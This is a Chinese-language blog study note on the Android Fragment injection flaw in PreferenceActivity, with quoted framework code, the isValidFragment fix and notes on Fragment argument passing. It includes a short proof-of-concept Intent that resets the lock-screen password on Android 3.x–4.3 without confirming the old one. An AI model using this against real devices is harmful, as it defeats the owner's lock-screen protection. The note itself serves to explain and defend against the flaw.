【Android 學習記錄】Fragment注入漏洞

1 概述

這個月太忙,生活工作事情都是到了年關,好幾個週末都無休了。想了半天不知道寫啥,前段時間翻閱烏雲的歷史遺蹟,對於這類注入問題,感覺應該加深一下印象,因此,在高鐵上就拿這篇文章大部分都是轉載 + 自我總結進行湊數了
參考文章
Fragment Injection漏洞雜談 – 路人甲
Android框架攻擊之Fragment注入
Android靜態安全檢測 -> Fragment注入攻擊漏洞
Activity與fragment之間的傳值:fragment的setArguments()和getArguments()
Fragment基礎概念

2 Fragment 漏洞簡述

Android Framework提供了android.preference.PreferenceActivity這個類來對preference進行展示,我們可以繼承這個類來展示preference並進行擴展。基類中會接收Intent數據,並進行一定檢查,其中兩個比較重要:

PreferenceActivity.EXTRA_SHOW_FRAGMENT (':android:show_fragment') 
PreferenceActivity.EXTRA_SHOW_FRAGMENT_ARGUMENTS (':android:show_fragment_arguments')

2.1 參數傳遞關鍵點:參數傳遞

第一個extra域包含PreferenceActivity要動態加載的Fragment,Fragment也可以通過Fragment.getActivity這個函數來獲取傳進來的參數。PreferenceActivity會調用Fragment.instantiate來動態加載Fragment.這個函數通過反射來加載Fragment,並把它變成Fragment對象
第二個extra域包含傳給該Fragment的參數,
其中最關鍵的邏輯代碼在這裏

mSinglePane = hidingHeaders || !onIsMultiPane();
String initialFragment = getIntent().getStringExtra(EXTRA_SHOW_FRAGMENT);
Bundle initialArguments = getIntent().getBundleExtra(EXTRA_SHOW_FRAGMENT_ARGUMENTS);
int initialTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_TITLE, 0);
int initialShortTitle = getIntent().getIntExtra(EXTRA_SHOW_FRAGMENT_SHORT_TITLE, 0);

2.2 歷史漏洞鎖屏密碼重置漏洞-抄的

這是3.X到4.3中的所有版本的一個漏洞,太老了沒啥用的,Setting幾乎每個Android設備都有的。Setting是以system_uid方式簽名,所以具備行使system的權力。它的主界面com.android.settings.Settings就是繼承自PreferenceActivity,而且肯定是exported。以此作爲入口,嘗試尋找Setting裏有哪些重要的Fragment,並嘗試把它加載進來,主要目的是希望可以跳過某些需要用戶交互的限制。比如說ChooseLockPassword$ChooseLockPasswordFragment這個Fragment,這個類主要是負責鎖屏界面的密碼設定和修改。同時,這個類會根據之前傳入的initialArguments做不同的邏輯,關鍵代碼如下所示:

 Intent intent = getActivity().getIntent();
 final boolean confirmCredentials = intent.getBooleanExtra("confirm_credentials", true);
     if (savedInstanceState == null) {
          updateStage(Stage.Introduction);
          if (confirmCredentials) {
              mChooseLockSettingsHelper.launchConfirmationActivity(CONFIRM_EXISTING_REQUEST, null, null);
          }
      } else {
           mFirstPin = savedInstanceState.getString(KEY_FIRST_PIN);
           final String state = savedInstanceState.getString(KEY_UI_STAGE);
           if (state != null) {
                mUiStage = Stage.valueOf(state);
                updateStage(mUiStage);
            }
      }

如果傳入的參數當中,key爲"confirm_credentials"爲true,就會調起舊密碼驗證的流程。如果爲false,就可以跳過舊密碼驗證而直接進入密碼修改的流程。測試代碼如下所示:

Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName("com.android.settings", "com.android.settings.Settings");
intent.putExtra(":android:show_fragment", "com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
intent.putExtra("confirm_credentials", false);
startActivity(intent);

正常的密碼修改流程是"設置"->“安全”->“屏幕鎖定”->“確認你的PIN”,如所下圖所示:
在這裏插入圖片描述
攻擊之後變成
在這裏插入圖片描述

2.3 歷史漏洞修復方法-還是抄的

【1】isValidFragment(String fragmentName) 
 返回Boolean(子類應當重寫這個方法,並對fragment進行校驗判斷)

這裏直接return true一定是有問題的

public final class MyPreferenceActivity extends PreferenceActivity {
	private boolean doValidcheck(String fragmentName) throws IllegalArgumentException{
		//TODO 做合法性檢查
		return true;// 注意check,千萬要注意
	}
	//添加上這個方法,以使2.x~4.3的代碼在4.4上可以正常運行
	protected boolean isValidFragment(String fragmentName) {
		return doValidcheck(fragmentName);
	}
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		//在onCreate前就做合法性判斷
		String fragmentname = getIntent().getStringExtra(":android:show_fragment");
		doValidcheck(fragmentname);
		super.onCreate(savedInstanceState);
	}
}

3 其他的知識

3.1 Activity和Fragment其他的傳值方式

Fragment和Activity還有當前一般使用下面這種參數傳遞的方法,也是抄來的
寫入方法:將bundle通過setArguments(bundle)方法設置進fragment:fragment.setArguments(bundle);

Fragment01 fragment01 = new Fragment01();
Bundle bundle = new Bundle();
bundle.putString("str","這是MainActivity傳來的值~");
fragment01.setArguments(bundle);

讀取方法 指定的對象,通過getArguments 進行讀取

String str = (String)getArguments().get("str");

如果通過組件暴露,控制setArgument的參數,也能夠進行攻擊,屬於攻擊的另外一種形式

3.2 Activity的繼承關係

1】java.lang.Object
【2】android.content.Context
【3】android.content.ContextWrapper
【4】android.view.ContextThemeWrapper
【5】android.app.Activity
【6】android.app.ListActivity
【7】android.preference.PreferenceActivity

3.3 綜上所述

綜上所述,這個漏洞雖然修了,但是修復能力主要依賴於開發人員的能力問題,這類問題在新版本上,依然存在

發佈了45 篇原創文章 · 獲贊 22 · 訪問量 8萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章